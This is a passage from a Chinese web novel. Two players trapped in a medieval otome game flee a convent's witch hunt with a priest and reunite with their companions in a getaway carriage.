在一切都还没有开始的时候,她似乎就已经察觉到了她毫无所知的危机。 ……特蕾莎发现自己一点儿也看不明白她。就像人不可能看透吹过身边的一阵风。 她深呼吸了一下,捏紧了手里的信。 她想起昨天晚上,她还和之芙一起躺在床上,她们说着要“私奔”离开这个地方。当她说出这句话的时候,意外的,之芙沉默了很久。 那个时候她又在想什么呢? 外面不知何时响起了尖叫声,然后又安静了一会儿。 特蕾莎抱着自己的膝盖蹲在桌子下,等到外面彻底安静了下来,她才踉跄着从桌子下面爬出来,扶着墙壁往外走。 ……外面安静地可怕。发生什么了?特蕾莎的心里闪过无数个猜测,最好的情况是,之芙逃离了这个修道院……但她知道这几乎不可能。 最坏的情况……或许就是,之芙被指控为恶魔,抓了起来。 她几乎控制不住自己往最坏的情况去想。但她的脚步却没有迟疑,按照之芙的叮嘱,她在地图上选了一条最安全最快的路线,片刻不停地离开了修道院。 当她踏出修道院的那一刻,天已经完全黑了。她最后一次转身看向身后的修道院,夜风吹拂起她黑色的修女服的衣摆,巨大而巍峨的建筑在她的身后屹立不动,那庞大的建筑分明亮着灯,却像是一只隐没在黑暗中的、露出了獠牙的野兽,大张着血盆大口,等候无知的猎物。 这个联想让她不由自主地打了个冷颤。她收回自己的视线,拢好衣服,潜入了黑暗中。 …… 另一头,之芙把麻布塞进特蕾莎的怀里后,就用修女服的斗篷拢住自己的脸,闷头往教堂走。 修道院里乱糟糟的。本就不算宽敞的走廊里到处挤满了人,修女们惊慌失措,像是一群被狼狗赶着的脆弱羊群,在管理员的惊声尖叫下被推着来来去去。 “找!快找!” “……去哪里了……” “等等……等等!” “很奇怪吧……特蕾莎小姐和之芙小姐不是侯爵伯爵的女儿吗?为什么她们会是……” “哎呀,别管了!管理员说的绝对没有错!反正……就照上面说的做,总不会出错。” 混迹在人群中间,窃窃私语汇聚成洋流,不管不顾地扑向她的耳朵和大脑。 之芙:“……” 之芙默默地盖紧了兜帽。 得益于人群的混乱,之芙很轻易就混进人群里没有被发现。不知道管理员引起混乱的时候有没有想到混乱才更利于隐藏?又或者这就是她想要的? 之芙摇了摇头,摁下了心里的猜想。 她不敢走太快引起别人的注意,于是便小心地拢着兜帽,逆着人流,慢慢地往教堂走去。 “……” 窃窃私语如夜风般从她身侧拂过。而夜风带来了难以下咽的气息……害怕、恐惧、惊讶、厌恶……不一而足。 之芙花了一些时间穿过人群和那些古怪的情绪,来到了教堂前。 一侧就是出口,但她还暂时不能离开。先不提管理员一定会找人想办法守在门口,就是为了白飞烟,她也不能离开。 她还没有忘记自己来到这个游戏是为了什么。现在离开只能打出普通的游戏结局,白飞烟会永远留在这里,她可是乙女游戏的高玩,没道理不尝试完美结局。 教堂的门虚掩着,之芙悄悄溜到了门边,看向门内。 嗯……和她想的一样。艾弗被绑着双手捆在椅子上,大概是管理员的指示吧,这个修道院里,也只有她敢绑住艾弗神父了。 但艾弗毕竟是导师神父,她们也没敢把他绑得太死。 从之芙的视角看去,管理员正坐在艾弗的对面,用一种……非常复杂的表情紧紧盯着他,像是狼一般的眼神让人不由得心惊肉跳。 之芙很难形容那是一种什么样的表情……如果一定要找一个类比,那也只能是“鬼”。 是的,鬼一样哀怨的,仇恨的,咬牙切齿的,却又故作平静的眼神,如有实质般,死死地咬着他。 为什么?她心里浮出疑惑。 管理员和神父之间有什么过节吗?她从来没有听说过。这里的修女们都说,艾弗神父和管理员都是虔诚而善良的信徒,往日里为人和善,从不曾与人有过桎梏。 似乎是她疑惑的眼神太明显,管理员忽然抬起头,扫向她的方向。 之芙:“!” 她立刻低下头,掩盖住自己的身形。好在这一片都挤着慌慌张张的修女,她混在其中倒不明显。 之芙回过神来,意识到现在最重要的不是了解深入管理员的内心,而是想办法带着艾弗神父离开这里。 先留着命,去救白飞烟,再想办法跟特蕾莎汇合。 那么现在,问题来了。 要怎么在大boss的眼皮子底下救人? 之芙思考了一秒钟——情况紧急,直接用最古老最有效的办法就好了。 她找到离最近的一个,表情看起来有些恍惚又有些恐惧的修女。 轻轻地戳了戳她:“喂,女巫是什么?管理员所说的是真的吗?” 那个修女看起来有些过于恍惚了。她甚至没有看之芙一眼,就蠕动着嘴唇,说:“我不知道……” 之芙又说:“特蕾莎和之芙小姐怎么会是巫女呢?如果她们是女巫,被抓到会怎么样?” 修女的眼里闪过一丝恐惧。她浑身上下不可抑制地颤抖起来,仿佛联想到了被抓住的那些“女巫”们的凄惨的下场。 就在这时,之芙轻轻地“啊”了一声:“你看,她们在那里!” “啊!!” 修女瞬间尖叫起来,引起了周围所有人的注意——也包括管理员。 “她们在那里!”她指着一个方向,人群的中心,尖叫着,颤抖着,发出了所有人都能听到的声音,“在那里!快!快抓住她们!!” 人群瞬间哗然!所有人都在往那个方向挤。 ——而此刻,之芙已经再次逆着人流,走进了教堂的最中心,艾弗被绑着的地方。 趁着所有人都没有注意到的时候,之芙悄悄来到艾弗的身边:“艾弗!艾弗!”她小声地喊他。 艾弗睁开了眼,脸上闪过了一瞬间的错愕,但很快恢复平静:“你怎么在这里?你快点离开。” 之芙拿出早就准备好的小刀,一边划开绑着他的手的麻绳,一边低声说:“说什么呢,我们要一起离开这里。” 艾弗感受到身后绑住他的手的麻绳被划开,表情微动:“特蕾莎小姐呢?她也在这里吗?” “她已经走了,顺利的话。”之芙说,“所以,现在就只有我们两个人了……喂,你觉得现在是不是最好的时机?我们悄悄离开。” 艾弗不动声色地环顾四周:“是。你的计划是什么?你准备怎么办——” 他还没说完,之芙便打断他,轻声说:“我的计划就是——三、二——” “……”艾弗急促地倒吸了一口凉气,才明白过来她是什么意思,“等等——” 但是晚了。之芙已经说出了那一句“一——快跑!” 艾弗懵懵懂懂踉踉跄跄,被她拉着就往外跑。 或许是实在太出人意料,一直到他们跑出了教堂门,身后的人才发现艾弗已经不见了—— “诶?!等等!!!” “跑了!跑了!” “快追啊!” 尖叫和脚步声都被甩在身后,夜风和跑在他面前的女孩的衣摆发梢正从前方不断地拂过他的脸、胸口和被牢牢牵住的手。 冰冷的夜晚,温暖的温度正源源不断地从紧紧牵住的那双手上传来,之芙似乎注意到了他的迟疑,回过头:“怎么了?” 她白皙的脸庞在黑暗中隐约可见。 艾弗发现,在这个危机四伏,随时可能被抓住的时刻,之芙她……居然在笑。 那不是为了掩饰恐惧而强装出来的笑容,而是一种肆意的、自由的笑。 仿佛他们不是在逃命,而是手牵着手,在一个冰冷又温暖的,无光的夜晚,无所顾忌地奔向自由。 在想到这个词的时候,艾弗怔了一下。他不知道自己的生命里还有“自由”两个字可言。说实话,自由对于一个虔诚的信徒来说到底有什么用呢? 但艾弗却感觉到……他的心脏正在疯狂跳动。但这几乎要越出胸膛的跳动似乎并不完全出于逃命的紧张和后怕,而是……因为面前这个,恶魔似的女孩所露出的,肆意而毫不优雅的笑。 第185章 《好消息:莉莉丝降临了!》 “先躲在…… “先躲在这里吧。” 这是一处广场附近的居民区。四周大多是低矮破旧的建筑, 时至深夜,四下无人,只有惨白而冰冷的月光落在灰扑扑的墙上。 艾弗一把拉住之芙。他四下看了看, 发现没有人之后,便拉开了居民区末尾的一间小房的门。 “这是我的房子。”他言简意赅地解释道, 把之芙往门里推, “不过我常住修道院,这里没什么人知道,我们先进去躲躲。” 害怕被身后的追兵发现, 他们没有点蜡烛, 但屋内也不算黑,临街的窗户大敞着, 月光从窗棂爬到屋内。 之芙借着月光打量着屋里——虽然艾弗说这房子属于他, 但看起来他明显不住在这里。屋里空空荡荡, 只有一张老旧的、落满灰尘的木床, 木床上搭着一张薄毯子, 毯子上也全是灰尘和蛛网,看起来脏兮兮的。 除此之外,连一张多余的桌子椅子都没有。 艾弗顺着她的目光看过去:“……” 幸好屋里足够昏暗, 之芙看不到他涨红的脸。他轻轻咳嗽一声, 蹲在了窗户底下, 朝之芙示意。之芙也跟着他一起蹲在了窗户下, 这个角度刚刚好可以躲避来自街道的视线。 只是这个姿势,也无可避免地让他们靠在了一起。在寒冷的夜里, 手臂挨着手臂,体温就这样互相传递,带来一丝危险中的慰藉。 艾弗清了清嗓子, 压低声音:“抱歉……这里我不常来。” 身后的窗户传来脚步声。 之芙也压低声音:“艾弗神父一直住在修道院里,为什么会在外面有一间房子?” “……这是我很久以前住的。更准确来说,这是我父母的房子,他们去世后我就住进了修道院,这间房就再也没有人住过了,幸运的是邻居们都是好心人,一直为我留着这栋房子。”艾弗说,“ 原本我还想着,等到年纪大了,就回到这栋房子里……” 他话说一半,又止住了,只是笑着摇摇头。 “不过也还好,至少现在我们有个容身之处,可以稍作歇息了。” 他侧头看过来,那一瞬间之芙还以为他会问自己发生了什么。 但他只是顿了顿,轻声问:“所以接下来你准备做什么?” 身后的脚步声逐渐远去,天地一片寂静,静得只能听到彼此的呼吸声。 好半晌,之芙才“唔”了一声。 “先去找特蕾莎吧……”她犹豫了一下,“特蕾莎应该已经跑掉了。如果她能带侯爵夫人来救我们是最好的,就怕侯爵夫人也掺和在这件事里,那就麻烦了。” 艾弗略一思忖,他很快从之芙的只言片语里想通了这之间的关系:“不麻烦。就算侯爵夫人也不干净,她总不会伤害自己的女儿,最多是软禁特蕾莎小姐,等这段时间过去也就好了。至于我们的话……” “我们的话……”他原本正在思考的表情顿住了,微微凝固。过了一会儿,才有些结巴地说,“我们的话、我们一起离开这里就好了。” 之芙也愣了一下:“这么简单?” “……”看到之芙愣住,艾弗也呆呆地,跟着愣了一下。但他到底是这个世界的原住民,比之芙要了解这个世界得多。他认真地点点头,“只要离开这里,我们可以换一个名字,甚至连名字也不用换……我在别的地方也有认识的朋友,可以去投靠他们。” “她们找不到我们的。” 之芙这才想起来,这里可不是现代。这里是落后而愚昧的中世纪,连自行车都没被发明出来,只能靠牛车和马来移动。在这个时代,人们很少离开自己的家乡,特别是在农村,与其说是社会倒不如说他们更偏向于部落。 只要离开这个地方,几乎不可能有任何人能找到她们。 想通了这一点后的之芙也有些茫然:……他们是不是把这个副本想得太过复杂了?如果说,当然,只是如果…… 如果她和白飞烟从游戏的最开始就一起“私奔”逃离这个地方,是不是会直接触发最低级的保底结局,直接离开这个游戏? 之芙:…… 唉。现在想什么都太晚了。而且也只是个猜测而已,之芙按下心里的叹息,默默地思考了一会儿,对艾弗说: “可以,但是还有另一个问题……”之芙顿了一下,看向艾弗,“我想先去找白飞烟……呃,就是子爵大人。” 艾弗的眉头狠狠地跳了一下。他凝视着之芙,久久没有说话,又好像什么都说了。 之芙挠了挠自己的脸:“其实……我和白飞烟有偷偷通信。他告诉我,修道院下的尸体都是伯爵所做的事情,他们献祭那些女孩是为了治好白飞烟……” 之芙试图用白飞烟来当借口给自己知道这么多事情来圆谎——说起来之前也是这样,白飞烟真是好用的借口:“但白飞烟不愿意。他现在正在被伯爵家的人追杀,我得想办法找到他,把他带出来。” 月光下,艾弗的表情有些迟疑。之芙以为他是对白飞烟有什么怀疑,信誓旦旦地说:“你放心,他肯定是好人!他什么都不知道……” 谁知艾弗犹豫了一会儿,幽幽地问:“你在跟他通信?” 之芙:“?” 话已出口,无可否认:“嗯。”之芙点了点头。 艾弗又幽幽地说:“你们的信都经过我的检查,每一封我都看过,没有你说的内容。” 之芙的冷汗一下子就下来了。艾弗现在是她唯一的队友,可不能反水!而且她还指望着艾弗给她指路,带她去救白飞烟呢。少了艾弗这么一个本地人,拯救白飞烟的难度会上升不止一个等级,至少她不会像现在这样舒适。 “呃,我、我们……” 她还没想出一个说辞来,黑暗中,艾弗的眼睛却像是小动物一样闪着幽幽的光。 他问:“你们……背着我偷偷私会?” 之芙:“……” 之芙的脑袋上缓缓冒出一个问号:“啊?” 第186章 《好消息:莉莉丝降临了!》 之芙:“…… 之芙:“……” 之芙汗流浃背了。 为什么艾弗要问这个? 她脑袋转得飞快:“呃, 我们只是……见过一面。” 艾弗说:“在修道院里?我没见过白飞烟。”——他连子爵的头衔都不喊了。 之芙:“呃,就是……晚上。幽会。没见过吗?”拜托了神父大人,现在是讨论这个的时候吗?这个是重点吗? 或许是她脸上表情的含义太明显, 艾弗抿了抿唇,好半晌没接话。 又过了一会儿, 他才说:“那现在你打算怎么办?” 之芙想了想:“……先写封信吧。” …… 等到月上中天, 追兵已经散去,艾弗站起身,把窗户关上。 “今晚就先在这里将就一下吧。”艾弗有些不好意思地看着空荡荡又灰扑扑的, 脱下身上的外袍垫在地上。 “那床还是我十多年前睡的, 这么多年过去,恐怕也不能睡了。”他用衣服堆了个窝, 示意之芙, “先睡在这里吧。” 他的目光有些局促, 似乎很害怕之芙拒绝。但之芙当然知道, 在这个时候, 睡地板算什么,能有个地方睡就已经算是很不错了。 她走过去,艾弗已经自觉地往门外走。她拉住艾弗的袖子, 问:“要守夜吗?” 艾弗摇摇头:“不用, 这里很隐蔽, 没什么人知道。我们躲在这里, 只要不主动出现就不会被发现。” “那你……” “我睡门口去。”艾弗说,“为淑女守夜是应当的。” 之芙看他认认真真的表情, 只觉得有些想笑:“睡在门口不怕着凉吗?”她拍了拍身下柔软的外套,示意艾弗过来,“早点休息吧, 明天还有很多事情要做。都这个时候了,就不要讲究这些了。” 艾弗有些迟疑,但终究被她说服了。他在之芙的身侧蹲下,看着之芙躺在地板上,也慢吞吞地躺在她身边。 月光如水一般落在地面,本就狭小的房间重新恢复了寂静,他们挨得很近,近得几乎能听到彼此的呼吸声。 好半晌,借着月色,之芙轻声问:“神父……你为什么相信我?” “……”那头沉默了一会儿。“因为管理员不可信。”他顿了顿,又说,“还有就是……我相信你。” 之芙知道艾弗相信自己多半是因为那些梦里的“她”,于是也没有追问,只是点点头,闭上了眼睛。 不知从哪里吹来的风拂过她的脸,也不知道过了多久,之芙忽然听到身边的人说:“晚安。” 之芙静静地躺着,没有回话。 身边一阵窸窸窣窣的响动,艾弗也平平地躺在她身边。夜风呼啸着,带来了他轻飘飘的声音。 “晚安,希望今晚能梦到……” 后半句话被吹散在了风中。 但之芙知道他想说什么。只是她不知道,艾弗到底是想见天使呢,还是想见恶魔? 她闭上眼睛,睡了过去。 …… 第二天一早,之芙把写好的信交给艾弗。 这是她出门找人借的纸笔,虽然她蒙着脸,但好在生活在这里的人们心地善良又热心,当然,也可能是因为修道院里的事情并没有传出去——管理员大概也不敢把事情声张出来。 只是,侯爵和伯爵如果也掺和在这件事里的话,他们多半已经知道了这件事。也不知道昨晚管理员带着人来来回回地搜寻他们的踪迹,有没有想到分出一个人去找伯爵。 更早一点找到白飞烟,他就更安全一分。 艾弗出门去找了认识的可靠朋友,换来了两身衣服,他们把身上惹眼的修女服和修士服换下来,穿上朴素的衣服,这样只要混入人群中,就很难被认出来了。 “修道院那边暂时还没有消息。”艾弗说,“居民们还什么都不知道,或许管理员并不想让其他人发现这件事,毕竟……如果要让他们知道这件事,就容易让地下室里的东西暴露出来。” 这和之芙想的一样。管理员没有大张旗鼓地抓他们,这是一件好事。但与之相对的,管理员必然不会对他们手下留情,如果抓到他们,一定会下死手的。 “但是……”艾弗犹豫了一下,才接着说了下去,“修道院说……有一个女巫,昨晚逃到了镇上。” 之芙眉头一跳,内心深处却有一种“果然如此”的了然。 她问艾弗:“你觉得我是女巫吗?” 艾弗摇摇头:“我不会被蒙蔽。” 他顿了顿接着说:“但你最好离开这里,这里太危险了。如果你愿意,我会让我的朋友来接你。他是个可靠的商人,不是教徒,而且清楚通往外界的所有路,他可以把你送到任何你想去的地方,也会为你置办好一切,你可以先去别的地方等我,不用担心白飞烟,我会把他带去给你的。” ……他说得轻巧,好像白飞烟是什么物件一样,能被别在腰上,被人带来带去。 之芙不能同意:“我想跟你一起去。” 这是她和白飞烟的游戏,没道理把自己的命运托付在一个NPC的手里——虽然这个NPC看起来也不普通就是了。 “好吧。”艾弗倒也没有强求,他大概早就猜到了之芙的选择,从之芙手里接过她的信,非常顺手地拆开——然后,他顿住了,红色一点点漫上他的脸颊和耳根。 “……抱歉。我忘了这个不能看。”他用手抵在唇边咳嗽了一声,很诚恳地道,“习惯了,抱歉。” 但已经迟了——他已经看到了信封里的内容。 上面不是他想象中的急信,而是……一段肉麻的情话。 艾弗下意识地抓紧了纸:“这是……” “这是我们约定的暗号。”之芙对他的沙哑的声音浑然不觉,“以免伯爵还不知道这件事,我们不能打草惊蛇。如果白飞烟能看到这封信,他会明白的。” 艾弗松了手:“你们平时是这样联系的?” “嗯,怎么了?”之芙疑惑。 “……没什么。”艾弗把信折好,揣进怀里,扣上帽子。 “我们走吧。” 第187章 《好消息:莉莉丝降临了!》 【玩家白…… 太阳从天边升起的时候, 街边已经很热闹了。广场边是一个小集市,镇民们会在每天早上带上家里的东西聚集在一起售卖,有些是家里种的食物, 有些是自己手工做的一些小玩意。 之芙眼尖,在人群里看到了几个穿修女服的修女, 正在找什么的样子。 之芙和艾弗交换了一个眼神。 现在还是早祷时间, 连早饭时间都还没有到,这些修女反常地离开修道院,肯定是来找她和艾弗的。 幸好有摩肩接踵的人群为他们提供的掩护, 穿着修女服的修女们可比他们显眼多了, 只要小心避开就好了。 艾弗把她带到了广场的角落,那里有一辆正等待出发去城里的牛车。 他压低了帽檐, 付过钱, 把之芙扶上了车。 “再等一会儿, 很快就到了。” 他也跟着坐上来, 坐在之芙的身边, 顺手帮她理了一下衣服,见她有些好奇的模样,主动解释道:“修道院的车暂时用不了, 这个是最快的。只不过要等一等。” 等什么?之芙很快就知道了。 在他们上车之后, 又陆续来了几个人, 等人齐了, 牛车的主人才慢悠悠地坐到前面,吆喝着让牛拉着车往前走。 之芙明白了:这大概是顺风车加拼车的结合。 这个时代, 牛这样的动物也算是稀缺,想要出远门只能靠这种方式。 正想着,之芙忽然感觉到艾弗往里挤了挤。 之芙:“嗯?” 牛车没什么座位可言, 她坐的位置是最里面,再靠里是摞成小山似的干草,靠外面就是艾弗了。 “对了,你们听说了没?修道院说,有个女巫混进了镇上!” 牛车里其他人的声音猝不及防地响起。紧接着,之芙感觉到艾弗靠得离自己更近了,几乎环住了她。 “听到了听到了。” “你们说,那个女巫会是什么样子?” 牛车走得很慢,车轮子咕噜噜地碾压过并不平整的泥土路,发出不轻不重的响动,混杂在人们的交谈之间。 “不知道。你们真的相信女巫会混在我们之间?”一个女声不耐烦地道,“说女巫有多么大的能耐,她们要是真有那么厉害,为什么要混在我们之间?” 另一个男声说:“谁知道呢?谁知道是不是惦记着我们的心脏和血……老天,我可是最虔诚的信徒,要我说,就算是修道院里的艾弗神父也没有我虔诚,主一定会保佑我免受女巫侵扰的!” 猝不及防地听到了熟悉的名字,之芙捅了捅身边的男人。 艾弗低下了头,目光专注地看着她,仿佛听不见外面的那些声音。 “女巫那么厉害,应该一眼就能认出来吧?” “我听说,女巫们都穿着红色的袍子,不穿其他的衣服!她们的指甲缝里有洗不干净的血和肉泥,她们的头发乱糟糟的,但长得很美丽!她们经常拿着书或者扫帚,身边还跟着黑猫。” “哇!这么恐怖……”周围传来了倒吸一口气的声音。 之芙:“……”之芙低头看看自己身上这身朴素而平平无奇的外衣,觉得自己没有任何一点跟他们口中的“女巫”沾边,一时不知道该无语还是该庆幸。 但她还没有庆幸多久,身边忽然插进来一个声音:“你们懂什么!我有最新的消息。” 之芙的心里忽然升起了一股不详的预感。 但没等她阻止,四周的人就迫不及待地问:“什么什么?” “我刚刚在集市遇到了修道院的修女!她们告诉我,那个女巫跟你说的完全不一样。她长得很特殊,听说是……哦对,听说她有东方血统,长得跟我们完全不一样!” “哪里不一样?”周围的人又追问。 “修道院的修女说,如果我们见到她,一眼就能认出来。她有一双机灵的圆眼睛,五官和我们很不一样……就是那种外乡人的脸。哦对了!最好辨认的是,她的头发是黑色的,眼睛也是。” 之芙眉头一跳:别的特征也就算了,就是这黑发黑眼这条…… 这里是中世纪的欧洲,之芙暂时还认不出来这里具体是哪个地方,但这里的人都是长卷的金发或红发,眉目高深嘴唇肥厚,还有鹰钩鼻。 常见的黑发人种,除了亚洲就是德意志人,但在这个地方,除了白飞烟这个跟她一样从游戏外的世界来的人之外,之芙从没有见过第二个黑发黑眼的人。 这样显眼的特征,就差直指着她的鼻子,叫所有人都来认了。 她跟艾弗对视了一眼,艾弗一言不发地又把她的兜帽拢紧了一些。 而周围人的谈话已经往天马行空的方向疾驰而去了。 “唉,我就说了!女巫怎么可能是我们这里的人?肯定是恶魔生下来的孩子,不然不会长成这样!” “是了是了,你们有见过这样的人么?” 此时一个女声说:“那倒也不一定,上次修道院的修女们在广场施粥,我亲眼看到里面有个修女是黑发黑眼,和你的描述很像!那小姐是个生面孔,我问修女,修女们告诉我,那是子爵大人的未婚妻,在修道院里进修新娘课程。” 刚刚说话的那人大手一挥:“那可是子爵大人的未婚妻?子爵家的小姐,能一样么?我听说隔壁王朝来与王子殿下联姻的王妃,也跟王城的人长得不一样。” ……原来贵族身份还能当护身符。之芙思考着,如果她说出自己的身份,是不是能逃过一劫? 但这些人会信吗?她下意识看向身后,越过草垛,她看到他们已经逐渐离开了繁华热闹的镇上,正往一片农田驶去。 “大概还要两个小时。”艾弗注意到她的视线,大概以为她有些不安,握住了她的手,“别担心。” 他们的小动作很快被坐在外面的几人注意到了:“这位小哥,你们要去哪里啊?” 艾弗没有回头,保持着拉住之芙的姿势,压低了声音道:“我跟我……妹妹,去城里找亲戚。” “噢!城里的亲戚?小哥,我看您好像有些面生,不是本地人吧?” ‘不是本地人’?之芙立刻警惕起来。但艾弗却冷静而平和地笑道:“对,我和我妹妹都是外地人,原本是来修道院找人的。” “找人?”有人立刻来了兴趣,听声音正是之前说自己得到了修道院消息的男人,“您找谁?嘿,不瞒您说,我的姐姐就在修道院工作!” 艾弗不急不缓地笑了一下,没有露出破绽:“不麻烦您了,我是找艾弗神父的,已经见过他了。” “您找艾弗神父做什么?” 艾弗造起自己的谣来也是信手拈来:“我是他的远方表哥,这次刚好路过修道院,于是带着妹妹去见一见。您知道的,我们这么多年没见,没有不去拜访的道理。” 他的声音不急不缓,很容易就能让人相信。 最开始说话的男人便笑道:“真的,这位先生,你的声音听起来跟艾弗神父的声音很像呢!说起来,我见过艾弗神父,他真是个虔诚的信徒,他是个好人!” 艾弗只是微笑,并不接这句话。 眼看着艾弗就这样轻轻松松地把话题糊弄过去了,之芙也松了一口气。 她偷偷去瞄了一眼艾弗的表情——即使被人这样谈论,艾弗也不卑不亢,淡定万分。 来看是经常被人这样谈论念叨了。作为一个小有名气的游戏主播,之芙也经常遇到这种事,也算是深有同感,同病相怜。之芙朝他挤挤眼,还没来得及说什么,忽然听到脑海中那个已经很久没有响起的,属于系统的声音说: 【玩家白飞烟正在靠近中。】 【距离您还有——一千米。】 第188章 《好消息:莉莉丝降临了!》 之芙猛然…… 之芙猛然抬头! 系统还在不断播报友方玩家靠近的消息:【玩家白飞烟距离您还有九百八十米。】 【玩家白飞烟距离您还有九百五十米。】 【玩家白飞烟距离您还有……】 白飞烟靠近的消息不断涌来, 一条接着一条,快得像是在刷屏。之芙愣了一下,意识到这个速度不对。白飞烟腿脚不方便, 他现在在哪里?他那边是什么情况?他还好吗? 之芙从干草堆里探出一个脑袋,往后看。可天地间一片灰蒙蒙, 前面只有连绵不断的田地, 他们脚下这一道泥土路是唯一的路了。 就这么短短的几分钟,系统的提示还在继续变动:【玩家白飞烟距离您还有七百米——】 不仅没有停下,反而越来越快了?! 之芙心里更是如火上浇油一般着急, 探着脑袋往外看, 却什么也没有看到,身后伸出来一只手把她脑袋按了下去:“出什么事了?” 是艾弗的声音。 之芙一时也不知道该怎么跟他解释, 含糊地道:“我看看还有多久到。” 艾弗不久之前才说过, 还有两个小时就能到, 现在又被之芙问了一遍, 他倒也不生气, 也跟着之芙看了看外面,耐心地道:“大概还有一个半小时吧。” 之芙含糊着“唔”了一声,低声说:“我感觉有些不太好的预感。” “怎么了?”艾弗会意, 遮住她的肩膀, 让她能转回头来, 不被其他人看到脸。 系统的提示还在继续, 距离他们只有五百米了。 之芙:“嗯……”就在她还在思考该怎么跟艾弗说这件事的时候,之芙脑海中来自系统的声音忽然停住了:【玩家白飞烟距离您四百米。】 【玩家白飞烟距离您四百米。】 又过了两分钟, 系统才再次播报:【玩家白飞烟距离您三百九十米。】 这个速度……之芙忽然意识到了什么。这个速度,应该是白飞烟停下了!靠近的十米是牛车的距离,也就是说, 白飞烟正在他们的前方,往他们的方向来。 之芙立刻对艾弗说:“我有点不舒服,我们可以在这里下车吗?” 艾弗愣了一下,但看之芙不像是在开玩笑的样子,他立刻喊坐在前面的人:“停车。” 牛车慢悠悠地停了下来,坐在他们身边一直在闲聊的人也停了,四周骤然陷入了一片诡异的寂静。 艾弗淡定地道:“我妹妹有些不舒服,我们在这里下车。” 牛车的主人倒也是很淡定:“下车可以,但是车费是不退的,先生。” 艾弗朝他点点头,又给之芙整理了一下帽子,把她的脸遮住,这才小心翼翼地扶起之芙。 之芙连忙装作一副虚弱的样子,靠在艾弗怀里。 艾弗朝其他人低声道:“抱歉,请让一让,我妹妹不舒服。” 其他人见状也纷纷让开一条狭窄的路,让艾弗扶着之芙离开。 艾弗先跳下车,紧接着伸手来接之芙。之芙一只手压住斗篷帽子,另一只手握住艾弗的手,跳下马车。 见他们下车,牛车停顿了一会儿,又继续慢悠悠地往前驶去。 脑海中系统继续播报【玩家白飞烟距离您三百九十米。】 之芙松了口气。来看白飞烟还在原地。三百九十米,也不算远,是肉眼就能看到的距离。 之芙拍了拍艾弗的手,还没说话,下意识就先看向了远方。不远处似乎有一个朦胧的灰影停在路边。 是白飞烟吗?之芙快步走了几步,身前那道灰影愈发清晰,它处于灰蒙蒙的天和灰蒙蒙的泥土地的交界处,离得近了,隐约能看到一个轮廓,看起来像是一架简陋的马车。 之芙又往前走了几步,忽然有一阵风吹来,她下意识抬起头——跟前方牛车上的人对上了视线。 刹那间之芙心里咯噔了一下。 因为她发现,一个坐在牛车后面的男人,一直在看着她。似乎……就在等这一刻。 她猛地把斗篷拢住,拉过艾弗的手,艾弗也意识到了什么,挡在了她的身前。 但已经来不及了——坐在牛车后面的男人忽然尖叫了起来,手指直直地指向她:“你们看她!她!” 人群骚动起来,男人继续尖叫:“她长着黑头发!黑眼睛!她就是女巫啊!” “啊啊啊啊!真的!” “你们快看!” “快!快抓住她!” 之芙心说不好,差点没骂出声来,艾弗的脸色也很难看,下意识要拉着她往回跑,之芙二话不说一把拽过他的袖子,她的力气可比艾弗大多了,一把就把他拉了个踉跄。 “往这里走!”之芙大喊了一声,拉着他就往马车的方向跑。 也幸好牛车走得很慢,他们不至于和那群人迎面撞上,三两步就跑过了牛车,而这个时候,牛车上的人还没下车。 牛车本来就拥挤,车上的人有的害怕她这个“女巫”不敢下车来抓她的,有的被吓到了在尖叫的,还有在哭的,还有人想抓她,但又被其他人挡住了。 一片混乱之中,之芙根本没有让他们抓到机会,跑过牛车的时候,还有闲情逸致朝这群人做了个鬼脸,呲牙咧嘴地恐吓道:“看什么看?这么好奇的我的脸,今晚我登门拜访!” “……”人群一阵沉默之后,爆发了更加尖锐猛烈的哭声和惨叫。 艾弗也:“……”他有点无奈的表情,大概意思是:女巫大人,快收了神通吧。 之芙这才高兴一点,又瞪了那群人一眼,转身跑向马车。她一边跑,一边匆匆地对艾弗说:“白飞烟在那里!” 闻言,艾弗有些惊讶,但此刻也来不及多问了,他回头看了一眼马车,马车上已经有人跳了下来,正在朝他们跑来,但距离还很远。 之芙跑得很快,力气也很大——呃,至少比他大多了。艾弗在修道院的时候也做些重体力的劳动活,但此刻却感觉到自己完全是在被之芙拖着往前跑。 只是几个呼吸,马车就已经近在眼前了。 之芙还没跑到马车前,就已经在喊了:“白飞烟!白飞烟!” 破旧的马车摇摇晃晃,从里面钻出一个脑袋——虽然也是个他们熟悉的人,但并不是预想中的,白飞烟的脸。而是一个两人都没有想到会出现在这里的脸。 之芙失声道:“特蕾莎?你怎么在这里?” 特蕾莎看看之芙,还没来得及说话,就被他们身后喊打喊杀冲过来的一群人吸引住了。无需多问,她已经猜到了现在的情况,于是一手拉住之芙,把她往马车上一带:“别问了快上车!等待会儿再说!” “白飞烟呢?”之芙顺从地反握住她的手,一跨步上了马车,“你有见到他吗?” 情况紧急,特蕾莎没顾得上回答她的话,转头去把艾弗拉进马车。 她没有回答,车里却传出一个声音:“我在这里,芙芙。” ——这次终于是白飞烟的声音了。 之芙松了口气,大跨步掀开车帘钻进去,只见白飞烟坐在车里,他的脸上有些灰尘,衣服也有点凌乱,袖口沾着血,但整个人精神头很不错。 “你还好吗?”之芙问着,抓起他的袖口。 “我没事。”白飞烟任由她检查自己的衣服,眼睛紧紧地盯着她,见到之芙也没有事,他也长长地松了口气。这会儿才腾出心力来解释自己身上的血来自哪里,“这些不是我的血,之前出了点事……” 艾弗也钻进了车里,车外面的特蕾莎喊了一声:“坐稳了!”说罢,马车便冲着小镇的方向扬长而去。之芙掀开车帘往外看,马车可比牛车的速度快多了,他们没一会儿就把追来的人甩在了身后。 之芙放心了些许,把车帘也拉下来。 一放下心来,之芙心里的困惑就像潮水般涌来,根本止不住:“白飞烟,我们正准备去城里找你,你怎么会在这里?你认识特蕾莎?特蕾莎又为什么会和你在一起?” 马车里,她,白飞烟和艾弗相对坐着。白飞烟慢条斯理地整理了一下袖口,接着说: “昨天晚上出了些事情,伯爵家的人……嗯,正在追杀我。”他恰到好处地省去了那些惊心动魄的细节,才接着说,“你知道的,我的腿不太方便。差点就栽在那里了。不过幸好,特蕾莎突然闯进了伯爵家,她把我带走了。晚上我们在她朋友的家里住了一夜,她又租了马车,说要带我来找你。” 他顿了顿,看向之芙:“我还担心你会不会出事,不过现在看到你没事就好。” 他伸出手来,握住了之芙的手,又重复了一遍:“你没事就好。” “咳!咳咳咳!”艾弗猛烈地咳嗽起来。 第189章 《 好消息:莉莉丝降临了!》 …… 白飞烟和之芙同时看向他。 艾弗用手抵着唇, 看看白飞烟,又看看之芙:“……即使你们是未婚夫妻,也要应当注意分寸。” 